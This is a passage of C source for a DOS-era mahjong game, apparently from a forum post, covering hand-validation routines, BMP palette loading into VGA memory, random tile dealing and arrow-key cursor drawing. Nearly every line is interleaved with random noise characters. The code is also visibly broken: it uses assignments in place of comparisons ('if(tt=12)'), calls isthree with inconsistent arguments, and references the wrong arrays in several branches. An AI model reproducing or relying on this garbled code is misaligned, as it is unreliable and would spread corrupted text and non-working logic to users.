6 e# ~2 j2 d3 X6 \# lfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*// ]# B$ s7 t3 H- p9 q, I
{if(kl==i)
9 c4 a: |, S* G' e$ @; u{
( b2 G* t3 l: }# A# l! `kl=kl+2;
( B2 y- g( h" j/ @5 l$ Y/ `5 Y% `if(kl==8)
. h# s+ ^$ I# @8 M' A% gbreak;
- V6 T% L2 ?* B6 U! [$ E" c}
- `$ C9 L+ S7 v4 ctest[ill++]=pt[kl];
9 l: P" O& k+ U, j; H; u" N}8 a, R! _+ ?" P/ l
isthree(test,tt-2);
4 ^) }* K, T% _& t* p}: x  ?( Y, j* n+ n7 K% q! P* d
} 9 Y, [) A" q# l* [* J- k) A
else if(tt==9)
% W3 r/ W0 [2 M' X2 D% aisthree(pt,tt);" U3 \. G  b1 ~0 T' ^
else if(tt==11)
" P: k2 F5 m  E; R# J  tfor(i=0;i&lt;10;i++)
0 E$ s0 R$ p. S$ x{
# w0 S% a0 u' Z* G( L; K( tfor(j=0;j&lt;2;j++). s5 E. @# q' k
{test[j]=pt[i+j]; , ?, ^3 J1 {4 I( Q
}
+ _& y- X" h* Y9 z2 lif(istwo(test))
) i  m4 P* m" z2 j{ ill=0;
9 S8 ?4 f+ p/ ]! r$ M4 A" ofor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
0 X* S; U4 ?  p2 v{if(kl==i)
8 ]6 r) D" M% u( d6 B3 O: y{
2 }) r+ e; `& S' x( t, v# a4 Fkl=kl+2;
0 N# Q2 ?$ S! K! P  r0 }if(kl==11)2 k& f7 Z) G" W- v1 D2 ]
break;8 e# J2 e/ S' |, E: a
}
/ L' k& g9 e: z9 Ltest[ill++]=pt[kl];7 D4 E7 K/ V* V- y5 o& o
}: @+ ]. \* P+ J
isthree(test,tt-2);
& d6 K! {- v- ?9 s# v% e}
! p$ d% r+ d; x9 j: R" A: q: D}9 R6 `- m  ]% P: ~
else if(tt=12)
5 S! Y  L" H0 _  }4 K9 E+ \$ iisthree(pt,tt);7 I0 G( E3 \3 l- w. w- V
else if(tt=14)
* ~: {6 ^  y8 E  }8 K4 }* lfor(i=0;i&lt;13;i++): Y. w* h- X/ R3 U; a# v
{6 T  O3 P( B" r' @0 j- @9 B1 z: M
for(j=0;j&lt;2;j++)8 [! y- ], O! M, W
{test[j]=pt[i+j];
' L8 _* S3 F- |& Y8 L}
$ {) B* w7 }0 u) g2 eif(istwo(test))% s4 S3 W6 v* `
{ ill=0;
/ Y, w; V2 }0 E! \for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
' [9 s' _3 }7 C; J2 z% \4 o{if(kl==i)6 t# q* V; z' ]: |: V' L3 W
{. t6 _% x1 G3 [/ h$ A
kl=kl+2;) Y# R2 F0 J: S9 u& Y" F- d
if(kl==14)
, N* c, o: [( k2 Rbreak;
$ }6 l8 e; _8 S}
( u- p5 p2 }  J/ r  E2 }3 @# ttest[ill++]=pt[kl];
8 b* ?8 c: Y2 M5 j6 W/ P! R8 N}
  Z2 x4 W8 V* Pisthree(test,tt-2); : Q" E7 N* Z; M
}
# U7 `9 F1 p' C9 Z, J) P; Q}# f, Z4 t9 p9 l% b; g+ Y( c( a
if(ii==2)
0 a  _* v1 p2 k6 Vistwo(pi);
$ G# p/ M( z; m7 N& L5 S) r) O+ Aelse if(ii==3)
$ ~# t! Y% ?$ B+ @! Z$ Z- M2 d, W. W( |isthree(pi,ii);4 v* [. y. _7 e# L5 `" O& f1 t; y+ G
else if(ii==5)
  C& q( N( \% j  w5 B/*pi[5]原始牌数组,假设已经升序排列*/
# u, ^- V9 N" f6 z# [- @7 M/*test[3]用来放置测试牌的数组*/
- h; |( q' V. {" [' ]$ ifor(i=0;i&lt;4;i++)
5 {7 H* L' O  k/ R+ D6 [{
- c7 B4 G1 S( Z6 z$ Wfor(j=0;j&lt;2;j++), W, o9 P' e: m8 K% w4 z
{test[j]=pi[i+j]; 9 T2 A9 c* r6 q- L. }: j
}
$ ?7 Q; O- C# fif(istwo(test)), o: D# ?. F9 J5 C0 H& F5 ~9 [3 W
{ ill=0;
6 @. y' D& s* w7 c! Jfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
) z( P7 ]4 ~  s{if(kl==i)+ {- s$ p" o& h; N; j  d5 g9 Q
{
/ x* _7 D# d' X( U- B  P+ W) j! xkl=kl+2;
3 T: Q2 y* V: i8 D  u  rif(kl==5)1 P* h8 s5 Q- L7 m; v. J
break;
. T; H) W4 z. L- ~( E3 j$ o}
: c! v: b# `4 r; i9 X5 {, Y5 Qtest[ill++]=pw[kl];! ^* N5 z- d. T  Y) a' [- k$ r. d
}' V) h1 d2 n3 r9 n% ]
isthree(test);$ \6 U* z9 A0 @, F# c
}; z" t' Z$ x' E: J' |
}. k% T, }) Y* o' Z, t( u1 x
else if(ii==6)
" i  }1 Y; {5 a; Z+ gisthree(pi,ii); * \% O/ ?' S/ C" @7 x% G& D
else if(ii==8)
5 p) I, p  T8 @* J1 z6 jfor(i=0;i&lt;7;i++). S) |0 T  ]/ m8 N' y/ o6 |
{
2 Z, V# f- V+ t: {for(j=0;j&lt;2;j++)
# p9 j; r: {, ^& l{test[j]=pi[i+j];
. t3 W0 M, E" q+ t  {}( v4 j6 @! L( I0 Y% [, X
if(istwo(test))2 v: H' O3 W+ B+ _7 M4 u9 }
{ ill=0;
# d0 L* y7 [) k) s; jfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
3 K, d5 k: J0 E" U4 {  a{if(kl==i)  _8 k4 q+ T- _1 h" g; N" \
{* {& {- x* u0 K& v/ v3 S5 b' Q) S7 c
kl=kl+2;; q  H# P2 Y1 t' k2 f
if(kl==8)& Y0 ^. R* t) w8 r& o
break;
# `& }* w. x! R) f% C  I}
5 p8 y3 `) x7 D( |/ ~test[ill++]=pi[kl];
& k! b' k/ y: D- c& A}
" @  L$ F0 m, M# R2 t) K9 V; Risthree(test,ii-2);9 d7 r" o  B2 @8 J* U
}4 A/ Q# i! @; [$ y: Q. d. u
} - L4 S4 w/ V/ o7 I
else if(ii==9)
% D1 E7 l* }& I% N# disthree(pi,ii);. t$ u$ X9 t% m& k' P
else if(ii==11)
8 o0 ^' K; _, n2 s, m( j1 r  ?for(i=0;i&lt;10;i++)
; O  T6 J# \) P, h8 ^{3 `: L0 N" \' ^0 g( @5 X* z& I
for(j=0;j&lt;2;j++)
& W; o% Q8 ]8 ]. n  I. L7 G{test[j]=pi[i+j]; . i, z$ E3 O, Z7 x) [. r
}- S6 y+ [% s: @' D
if(istwo(test))
1 Q/ F6 D$ {4 Q; m9 ~{ ill=0;
# t7 @) p, D+ Z0 g3 G2 x5 D* [for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
' B6 A8 x8 K6 e2 Z' v{if(kl==i)
1 z7 A7 B$ F! q( Z9 Y{0 E8 V4 B4 T  d/ j3 t: v1 t# X
kl=kl+2;- U' \! c5 c- T" I8 C
if(kl==11)
: @) q% y' r1 e2 ]' f6 ^& n. H8 v1 e2 Abreak;- ]; Y1 t4 p9 J- Z6 I  |8 }9 x
}  ?; K  w: C% T0 V$ y
test[ill++]=pi[kl];
8 I$ `3 N1 s1 l4 F9 n9 G}
  ^& Y+ d2 s  E& F4 `, Gisthree(test,ii-2); * @% {4 E7 `  Q0 h& d
}8 ]" Y  t% z4 R6 P  W8 v. S% }
}
2 w& k5 g0 H# f  yelse if(ii=12)
5 H" [9 \1 n5 v6 H$ U/ Risthree(pi,ii);
5 d0 D- A# [  `& {8 x. ^4 Jelse if(ii=14)1 V& o' {+ Y; `: k
for(i=0;i&lt;13;i++)
' U* q: a) O4 a$ R: _, \{8 X& [1 s1 D/ C( Q; A( s
for(j=0;j&lt;2;j++)
, Q0 U' Y0 h4 A( d, i* |{test[j]=pi[i+j];
& _) [0 z/ H+ j4 `! G& ^# f}  u, g* Y, f" ?& q3 n: j( m1 ]
if(istwo(test))) ^% e; l. s+ N* _, k- H3 F
{ ill=0;
' B1 O& ?& ?5 |6 W9 F: qfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*// g/ |/ ]0 r3 m) c
{if(kl==i)2 z& i) }! f/ i2 n0 X. c. _+ p
{! z' o8 e9 s5 R( |0 x5 O1 {
kl=kl+2;# b9 Y, w, Y1 [2 _, k
if(kl==14); B: x& n- r. [( P
break;
  u' n$ J# \$ K8 z}
7 [! a0 v# T  l1 p& U, E& @test[ill++]=pi[kl];
$ f% o& }* q! K! f5 [+ v}
; A' c: M& Z! L# cisthree(test,ii-2);
0 d5 A" N- r( V- J}
* P# F* D+ S0 x# N( ?} 4 Y2 p+ ~7 J% I4 f6 V% U
if(ff==2). i, C, E. j* f# E$ ?% |- `
istwo(pf);
# I4 l" G  C/ S! _/ ?7 }else if(ff==3)
& |4 \0 I4 K2 wisthree(pf,ff);8 g- S  l* w9 H& x- P! S0 T
else if(ff==5)- v5 }4 G9 G, k) r
/*pf[5]原始牌数组,假设已经升序排列*/
9 }" K5 d, @1 d% ]& i/*test[3]用来放置测试牌的数组*/9 a  h! @. }& l3 r+ }  X
for(i=0;i&lt;4;i++)! A9 T4 P& O' _9 F
{  q% u7 w" T' \; [
for(j=0;j&lt;2;j++)& t, m+ T& i  s1 ?
{test[j]=pf[i+j]; 1 t& X" o6 Q, ~6 M  }
}! e# L0 y2 `# _  y
if(istwo(test))- k+ @2 A* a' C4 |) O* o$ s3 J
{ ill=0;) M" ^/ X2 H5 O' o
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
( A' C' H% _9 b( A( B6 G{if(kl==i)
3 F, j. H3 {  N2 `; L9 j$ `% r{
; l! X& ]" Z* {) N- @3 Ekl=kl+2;$ B8 @/ M7 z; z& e8 x/ v
if(kl==5)
6 S& S, N, _" A. W! Z8 v: {break;
6 Y+ H) j! X3 X$ M. T  Q}. Y( A! Z6 G/ J) L7 B
test[ill++]=pf[kl];/ A) `- b4 f( _8 i
}
. Q1 |; ^3 x# I2 n: ?4 visthree(test);1 z. L3 l, Q* v! n( D0 O" e
}
" A2 k. a4 O2 z( G}  w) W+ x$ z7 I. k* N1 j
else if(ff==6)0 I/ J. ~# W) E- s3 ~
isthree(pf,ff); - b( Z. R+ e, {6 }' e
else if(ff==8), z* o) \$ h3 y1 t% R0 ?" V/ R
for(i=0;i&lt;7;i++). j5 i, \9 {2 G1 Q, T7 D
{  K1 r+ [) h4 @
for(j=0;j&lt;2;j++)
9 p- z2 l# x! L: J7 p8 @- u{test[j]=pf[i+j];
0 L9 C- Z( K; g+ R2 m}
7 _7 m6 R+ d  t8 }1 m/ X1 w( Mif(istwo(test))
: X  U+ U, J( O9 S$ q{ ill=0;: |- e0 H+ h* Y/ t  o; w
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
  [; t, b4 N# _+ q. @{if(kl==i)
, m3 }" S+ n$ k5 J3 |{3 g4 S4 B! J$ o! R4 g! N
kl=kl+2;% g! q2 q! u% a$ k9 O
if(kl==8)& \8 W* ?2 l1 s0 m  v8 M& p
break;
% K' E; j1 \3 J, }" V0 u}7 V5 @. |4 I/ r
test[ill++]=pf[kl];
! i7 z. @3 C% R+ y3 l}
5 U2 b9 y* V- s8 _  sisthree(test,ff-2); & A( A' a+ r8 r8 _* _7 W/ x2 V2 r
}4 H- A9 z; t* S5 ~1 e, u! ]- z7 Z
} $ q# Y& L: F9 p  ~
else if(ff==9)6 J3 ~2 I. L7 @) _! P' l. r
isthree(pw,ww);/ n" r8 W( _% m/ {0 u3 p$ t
else if(ff==11)5 c. y2 y7 j) b. i& Z, D7 I
for(i=0;i&lt;10;i++); G( V; p# Q9 L2 q+ B% ?) E# V
{3 p* E* }; V  g
for(j=0;j&lt;2;j++)
  k* S' G$ G) N+ P{test[j]=pf[i+j]; 5 }% v9 `# P4 t8 R! O7 Q
}* s" E) w4 C* e+ g
if(istwo(test))2 V) C. s4 d/ i' F8 P; q8 G
{ ill=0;
; @4 J% S9 |3 |$ x' K( D) W  T1 \for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
! t/ X6 s. w) I  D{if(kl==i)
1 {, ^8 g4 J: _1 z{
8 ~' ?) m; N3 O+ Akl=kl+2;
7 U# B5 g+ h. uif(kl==11)7 a6 z) R: j/ }/ j9 G8 q1 y, J
break;
0 y: ?4 r4 g% r  O( P+ V4 q; Z}7 k5 u3 ?4 v0 x, n
test[ill++]=pf[kl];
. m7 ?7 B9 @8 U, E3 m; E}- {: w% K* ?. V/ b* ]' e! D- k: s, X
isthree(test,ff-2);
* J* K1 M; g4 r7 ]6 O}4 d! M: q4 v+ Q
} $ V$ U, M) @) x" R8 q7 }
else if(ff=12)) N4 V' P2 L/ y$ G5 v. J
isthree(pf,ff);& H2 A9 [% k2 D: R
else if(ff=14)
/ W. a! K9 W/ h; jfor(i=0;i&lt;13;i++)
& e" O: L5 P( H$ h{6 Q' }. [& |% {5 q" O! w. v9 h
for(j=0;j&lt;2;j++)- n" X: }5 {+ l3 r6 F, `
{test[j]=pf[i+j];
( t% |' A! p" i8 F}
/ j* j) L( D2 J0 D, ?if(istwo(test))
1 a( j/ t6 f& }/ x{ ill=0;' ]/ ]$ m: Q- C5 x  t; L0 B
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
; z. Z3 `4 |4 l- d4 v{if(kl==i)
% ]6 ^. Z) x" S4 d+ m% V# z$ L{
  q. l) y& H- K$ W- Y, K% hkl=kl+2;3 h, M- v" K5 C% K9 e8 O
if(kl==14)
' U+ K2 P+ @* W$ tbreak;' J! }  m% I5 o4 y( ~6 e  K6 W
}
# t0 g3 z* X. l; z9 Ptest[ill++]=pf[kl];
3 H9 @* B/ m1 p% W: o+ T& _}
/ J' M2 ^7 u0 G* f9 e4 Disthree(test,ff-2);
8 V9 \$ _7 }! `}, Y% O" C! x* N& x
} ' A6 H! E$ V# ^; M, s
}
0 d: x0 A, c9 w- O2 Xvoid main(void)& g9 x! o0 s1 c- h$ z8 H$ B
{
0 T' {% d5 A0 ]7 C8 O- ~- s5 y, ?) HFILE *bmp;
4 @9 J& o. }7 K* i1 w' ystatic char *name[2]={"ff.bmp","logo.bmp"};1 @; }2 S. `& T+ A
char *p;
- e' y4 ]" U1 }  ?int *lingshi;
2 s% M! [& _) y# w) Iint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;: C) N7 }" `: P4 A% W
int every=0,w=0,x1,x2,y1,y2,every1=0;
* D# T+ J/ @5 V7 V  t! t) H8 B' \int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
/ }* |4 e$ J* C# DBYTE palette[256][3];
/ ~' U: [' ^/ K' E. MSETVGA;
, W5 e& ?7 V4 _# y3 D. e) ggetch();+ ?, J6 C+ c6 P) c7 T, g- W) m6 T
while(t--)
- t( q  j* S4 I7 r0 x{
  w' _0 t( Y# h4 tbmp=fopen(name[t],"rb");. [7 D3 c3 C8 K$ T' _
fseek(bmp,54,SEEK_SET);% P6 ~$ Y! R! V0 ~5 S8 `
for(i=0;i&lt;256;i++)3 Z3 E6 S) u5 L9 I; x6 }/ @) @3 \/ ?
{
! K/ G" A) W0 _/ Y  B' s5 o+ Fpalette[2]=fgetc(bmp)&gt;&gt;2;9 a; U, }% K( W* K: r, ]
palette[1]=fgetc(bmp)&gt;&gt;2;, P% q4 L) D1 b
palette[0]=fgetc(bmp)&gt;&gt;2;
' V9 E' U7 q! x4 kfgetc(bmp);0 s7 n' f/ z5 p! C3 E
Set_Palette(i,palette[0],palette[1],palette[2]);
. g# Q" g2 v' A, n4 N  @6 E5 ^}' H6 O3 n) L8 ]
for (y=0;y&lt;200;y++)1 X+ V" k# [% m4 a; \/ g1 x
for(x=0;x&lt;320;x++)
5 A  `( S! J1 V/ C' P% C( b7 P: S- Spokeb(0xa000,y*320+x,fgetc(bmp));2 }& e$ z6 _$ y3 E/ Q* X& u
fclose(bmp);# M! ^) p/ O6 c3 e9 a
getch();0 n4 n! E( y( E; u4 A9 t
}- G* H+ \$ V( q3 Z
getch();) R- O" Z8 A, L! x: G: C
fillRectangle(0,0,320,200,0);
4 Z$ I9 K4 e- Ygetch();% T2 r" z; @( U5 H' v* c3 v
randomize();$ J/ E9 x8 e+ L0 L
me.m=onetothirteen;" w; K0 f3 i$ W: O- Q
while(me.m&gt;0) /*先循环,给自己拿牌*/
9 x  c& k. n7 d% e1 l{: n/ _8 e/ S- t* T2 z* y2 D7 E! t
9 A& h. F! i( O9 d" W
temp=random(136);
% s5 i% |+ C" z8 q5 ^* ?4 Cif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
# H0 ]7 Y" J, A0 o{
/ |; w$ A' o; tme.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
. e* @6 X3 h4 K* H/ m5 lme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
8 ~4 T  l) i2 h: }/ Mme.pp[n].number=temp; /*第几张,用来排序*/! `; Z- ~& e8 h- h% u) t3 ?
m[temp].data2=1; /*判断牌是谁的*/
0 `  m+ W  x! C* \' |4 \kk=1;
9 V3 ]" m$ P9 E  E: w0 X  Z}3 t1 M* y1 \: Z+ w- ?  [4 e: q
if(kk==0) /*判断如果又选择了,就从新再选*/: A) _; s5 i- p8 z
{ 9 N5 t, h- K% H8 m! r, I! j( E
me.m++;
+ g( l% H8 N, R# @5 r0 qn--;2 h& z# `' O. G8 e9 X, |# {
}) P4 u" w+ `. k8 e
me.m--;
0 w' x4 B* q8 ^" E' u) Y% s3 ln++;
8 b0 S9 Q4 [: i$ D0 r9 ?kk=0;
# C( W6 I( T. o' k, L. B% y6 @7 O1 I}; y6 I# E8 p0 j  E( b# Z2 r/ U1 l
me.m=12;* V5 f$ [4 g, _" o
melipai(); /*理牌*/% Z" O* w( T7 R7 x

) f$ Y5 T, a' j% ]. h( \n=13;) l, v3 y& t( G+ t8 C
while(l&lt;n)8 d; [' A% S5 c8 Y- w/ L$ t% ?9 r5 W
{
6 {7 u: M0 {' Y& jz=z+20;; ^  O+ q) Z. O$ g
showbmp(l);
9 `1 i5 ~9 ^2 y( Hl++;. }8 {0 J- e* ?1 ~6 F9 F  ]
' h6 D( }8 M8 I, L
}0 c. x+ h  P" e3 T5 `
randomize();
# `/ N4 K5 \7 _7 w; Ncomputer.m=oneorthirteen;
% I- {7 K% K) r/ L! [- c+ N; b( vn=0;
3 M0 b. U+ G0 Cwhile(computer.m&gt;0) /*循环,给对方拿牌*/* O& Q# z/ z/ i
{; B( e! r; t: D! @( C4 m1 H8 P
temp=random(136);
  [; G: I. f/ V4 U  E7 eif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
% o  E! t* ^; K8 j3 @3 g% q7 L{
# \$ p# h; I" W( j7 ?computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
# X7 {( E) n+ J. l) L0 b" S/ qcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
8 W! c; X" I2 C: B& Pcomputer.pp[n].number=temp; /*第几张,用来排序*/
( ]: C$ s* [. Y1 e+ km[temp].data2=2; /*判断牌是谁的,2为电脑*/
9 h, V" R% y* Ckk=1;7 U: O; |# S! ~; c$ m6 w# ~
}- Q0 h5 o6 _3 v. C% }& s
if(kk==0) /*判断如果又选择了,就从新再选*/
& n! [# ^0 A& x# h3 R{
- O% p* l1 Y+ z1 Q- Qcomputer.m++;
6 t2 f) Z8 {# @n--;7 h, M. N# |8 n
}! p* d9 \$ ]% K; F% Z; a
computer.m--;" y2 ^! H- c8 D6 q8 e3 ]% q
n++;
6 {) j$ w+ G' M% W$ v0 r4 Akk=0;3 ~' ~9 M6 N' F2 M4 S9 h
}6 H. F+ b7 m* [( E! `: z
computer.m=12;
7 V- a* ]2 v  x. q8 G; K; Acomlipai(); /*电脑理牌*/
$ u- h" p: E) G" \n=13;* M8 w, ?0 t2 Q! n
while(ll&lt;n)& F' u" x! R, `
{
5 v$ F& f. x! M$ W( `0 _4 nzy=zy+20;
* _1 \" P5 U/ X2 l- b. A& nshowybmp(ll);: e5 Z7 ?$ l' d4 R+ R* s* R# Y; f
ll++;
! ~2 z7 Q0 P. m}# o4 ~  u6 D: G4 ~7 y2 W2 W6 X9 R. f
5 j! I3 @+ W! \# _( r# @8 T2 O
z=54400;" K# p# K2 a0 D
while(key!=ESC)
% B- g6 B2 d6 F1 A$ Y{ 3 c4 E6 V# Y9 b8 z; A' v, ]

9 _) b% t' N$ Q5 C. e( }  ?keyy=bioskey(0);
" O( i, P* ~9 G/ u5 gif(keyy==LEFT)
9 n, g- `' q, z1 `4 [9 A  G3 M1 D{ w=1;; d0 Q/ T& l" ?, C
if(every==0)3 ^% U5 u! R& x' N4 ~# ]* I  h
{" e  q: z. i6 U$ S* Z# f$ q# _
every=1;
2 m0 m9 C* X  D7 v3 [z=54440-5*320;
' p+ y$ l; h% i% a
2 f$ S$ ^# q( G}0 [- ]- \7 t4 Z2 w2 o
zz=zz+5*320;
0 k$ A4 I  s0 g3 z: B/ H. ?showbmp(every);
$ O) t) s. X2 ~if(every==0)
! d6 Q# R6 T. q, k{7 M' Z6 _1 B5 r% X# W1 F. c
x1=20;# l* P/ A3 t" w1 e( I
y1=165;- i4 M2 H4 R; L3 _, ~
fillRectangle(x1,y1,x1+20,y1+4,0);
5 e# `* J6 g& n+ k& F% q( O! l}1 E* \8 c& a4 x2 ^5 I9 h' C) V
if(every==1)1 T+ Z1 N& h5 T
{: G; {( l1 k# m( D
x1=40;
0 l/ E: J% w$ s6 W' Gy1=165;! n  p* p4 J) {" _9 q  Q
fillRectangle(x1,y1,x1+20,y1+4,0);
6 `4 x0 n5 |3 T) ]- `$ V  E}
7 N% `& H6 Q! P. \if(every==2)
+ A+ S% c  q' y; S* [! L{4 q) q9 ]. }* \# I; U+ O
x1=60;  U- ]$ G9 N9 B8 f5 i4 S
y1=165;
% V5 ?: a2 u& g7 E9 DfillRectangle(x1,y1,x1+20,y1+4,0);
; J  v( F$ L6 \+ I  H}# w, Y4 G) v* t$ J
if(every==3); `# @; t# v8 n2 \3 D( m) a
{
0 _; G5 {& D; ?& ix1=80;
6 s, f4 c* n$ cy1=165;6 s, v- C; ~! g+ k
fillRectangle(x1,y1,x1+20,y1+4,0);
6 \. a& J0 f* P2 S6 Z* ]: j}/ D4 Q9 l2 i) j6 M, F8 c. I
if(every==4)0 ?" ?; e. n" z& F, U" i3 L
{. [3 X! }8 {# m, A1 c. z8 k
x1=100;1 C8 j' q, w6 {, R3 w3 R/ w% e
y1=165;
* B% b; v8 \1 [2 o, P9 q4 SfillRectangle(x1,y1,x1+20,y1+4,0);
; z$ s7 u8 J0 V7 f0 x+ C- ^}0 p( D! @2 @& ~% }4 d
if(every==5)- W' {- u  O) G) _+ c* i! e# o
{+ |, J  K. b& [, o6 R  O
x1=120;" C2 u3 h& @6 A3 M+ Q
y1=165;% L0 N6 \# \7 N" F" k# Q# m2 U
fillRectangle(x1,y1,x1+20,y1+4,0);
5 n" h+ B$ B  [" Z! l( E3 M}8 A0 K$ t6 N0 Q1 q) p
if(every==6)# O- Z  j, V- J: k3 R  s! A" J% F2 y* {
{% |* D; {4 m7 t1 K
x1=140;  u* S; V, D6 H. Y: T$ ]
y1=165;% F3 l" W5 E( z. t/ A
fillRectangle(x1,y1,x1+20,y1+4,0);
; Y+ ^9 K7 F( {& I}
; P8 F% z) O! U; Gif(every==7)
( H. P, [% ?* A9 T. T{
* R1 Z8 F; w. O& F5 A& Xx1=160;
  |0 ^8 L6 }& o1 h. uy1=165;: k! h- ?. }9 G% N
fillRectangle(x1,y1,x1+20,y1+4,0);' C2 B6 k3 F8 {. s7 J5 S
}5 @, B4 a8 J& V. Y0 \9 W  i
if(every==8)8 R5 o4 b9 E/ s: R$ w
{/ A. j( z7 I$ |6 }9 k
x1=180;
9 ?& n7 Y7 }) }8 B0 Ly1=165;
2 r% Q2 W- I0 o+ ?. u( Y9 P0 R" OfillRectangle(x1,y1,x1+20,y1+4,0);
8 i# t6 ]: ^; P+ x8 W+ Z  @}
$ n4 p! ]" ^+ W6 ~! n2 ]if(every==9)& ?: c" G7 }* m$ E
{8 v. ~9 O& `- S
x1=200;2 L7 O* I3 q( l6 {5 E- K$ q
y1=165;
* T; C$ ~7 W' ~: R. M5 u+ L2 ]fillRectangle(x1,y1,x1+20,y1+4,0);8 U2 |; S1 r: x$ v5 J
}
# f, @+ @  h8 Y) S$ [6 Vif(every==10)/ O! y) m7 }, o/ y; F+ U3 [
{1 b: ^# A- [% a% ~
x1=220;
% R: B( ?! ^  f+ L; m5 dy1=165;( w2 X" H* V' i* z9 V
fillRectangle(x1,y1,x1+20,y1+4,0);
& Z" T* o- W7 C) z1 j}
# A& P5 m/ R; {# t- gif(every==11)  A: {, I& I' o9 o: e, F
{" S$ ^0 X5 h% G0 t. v9 }
x1=240;
! J$ ~- j& }4 D/ Ly1=165;% `( T6 B4 I3 Z5 _- U# l
fillRectangle(x1,y1,x1+20,y1+4,0);; n- Z* D/ w1 E5 N6 S, ]% V& w. ?2 Q
}
3 H  L. P# R9 C( v/ ?if(every==12)
0 t7 t" e: ]3 V% W% u{- r6 S; b; ?0 w) g9 O0 R
x1=260;0 \: f$ y$ G& X9 k# I( E; d' Z
y1=165;
( w7 k& W1 L0 \# i8 a. {$ z* RfillRectangle(x1,y1,x1+20,y1+4,0);
* {0 _( g4 d; L4 \( w( R}. C) I8 c0 d% M) u/ |5 N# ]
zz=0;
2 p* j5 m9 u% P/ L6 severy--;
; e! u, S3 }( x4 a9 a- Cz=z-20;
! M5 Y7 W4 r. J% E+ l}
! L8 f/ _# g' z/ s. E$ E8 v, b/ Zif(keyy==RIGHT)) z9 u' U5 N) u
{ if(w==0)9 F3 k; V' b' q! V5 o$ P/ A
{
: V/ d4 t  R6 O+ J) Wz=54440-5*320;$ k3 L  W8 c- b: M/ s
z=z-20;
1 {: n4 O3 b5 v. v' x$ U( E- A  pw=1;
# z3 s1 w" X8 V1 W! Z}  a) U7 p/ Y" c
if(every==12) 8 M4 x& H( i! y9 A
{
# ^# d6 l0 Y5 J! {, G7 tevery=11;$ ?6 \$ R; j5 Q+ ~! v! ]6 p
z=54640-5*320;
' l; F. L3 g' c# R}
( ?( B! s% v* I& wzz=zz+5*320;* l/ g9 S$ I8 A/ @! q% t! C) n6 z
showbmp(every);/ [! O1 [1 C0 |/ w. X3 E+ i! Y! o, M
if(every==0)
* z: I9 V$ N+ Q1 }{
" E* o# w9 U: P9 S1 K' c+ ?! |x1=20;5 m  }6 }& e( Z* c% H  I" I$ R' O
y1=165;
  Z3 [5 y* |. G# Y; H. kfillRectangle(x1,y1,x1+20,y1+4,0);
2 @2 p' Z3 }$ @' u/ |2 \}1 ]. T6 f4 d$ c  z* R0 ]
if(every==1)8 F8 y1 `( _5 p/ S8 |6 E
{* x! y6 O9 ~% ]9 W: z7 o% g7 q
x1=40;3 e  T4 v# E! l- {
y1=165;0 i6 m0 g2 W( E/ S$ g4 F
fillRectangle(x1,y1,x1+20,y1+4,0);
7 z" ?1 s' ~! h7 G$ ]}$ D7 Y2 u+ }3 A" {/ X
if(every==2)4 Y) m8 z9 ^4 `6 q
{- G/ a) n6 N$ }$ J) C& E9 G+ ?
x1=60;# }3 }  [1 K7 X( J; F3 _
y1=165;. y4 n! s, K$ o, o
fillRectangle(x1,y1,x1+20,y1+4,0);
' s, c& @6 X8 s1 D- y6 y}) p8 R- y; [/ C. y* W) G
if(every==3)# G0 M( z* J- q
{
3 o; a2 ~& o: C5 x5 L3 v5 F. Vx1=80;# k. j, z8 |5 C' _7 v5 h
y1=165;, P& U& h) P0 _( A9 e" M4 @
fillRectangle(x1,y1,x1+20,y1+4,0);% K0 J3 P! x& ?
}2 \/ Y& k$ P* R3 K, G( O+ d; K* {
if(every==4)) w( v  B! V8 C3 G
{
) y% k7 S1 E2 N" O8 Nx1=100;& j, m0 c* `% [# t/ d! C
y1=165;
' u! G/ A% K0 G& zfillRectangle(x1,y1,x1+20,y1+4,0);
* s& Y8 q, Q( `; h' q2 O}' m/ R9 a- Y* m/ _
if(every==5)
4 P$ ^/ D7 `) \  @{
7 a6 w' _6 i% F6 Ax1=120;
2 H& `4 E- i' f* V4 _/ cy1=165;
6 s- T" l% D! \  B2 nfillRectangle(x1,y1,x1+20,y1+4,0);* ~1 v& Z4 s4 I* z  C; W
}
* a0 U; `  o" y! F& ^0 Gif(every==6)
4 g0 A# u6 P. M, y! ^. S1 n' j{' }# T( _( z- w# L4 k8 \3 W
x1=140;: a# u& v5 d1 V0 u! p9 ]) ~3 ]
y1=165;: ^* m* [- }3 W8 m: q
fillRectangle(x1,y1,x1+20,y1+4,0);
4 w7 h, B5 q* X}
9 Q+ r% O2 Q$ \/ Bif(every==7)/ \# D: y. ?- G- J5 F( [/ ~. d
{& z5 j* p/ `- s3 T# Q
x1=160;/ \! _4 F4 f4 t5 Y$ ?# J$ T
y1=165;9 g  B2 w  B+ D! H* V) z
fillRectangle(x1,y1,x1+20,y1+4,0);' q. J, G! Y3 U8 J' B
}
  k, m6 @% |" P/ W, \# m5 Qif(every==8)" U( o# U, [5 |* j5 _) E
{
9 W, b' o: U; |: v" ex1=180;
% ~: B, ~- R. l6 yy1=165;& u9 U, ]3 ^5 _- \) n
fillRectangle(x1,y1,x1+20,y1+4,0);# C7 z8 o5 _, @9 S" h
}6 @. ], j4 r  a( ?& I
if(every==9)
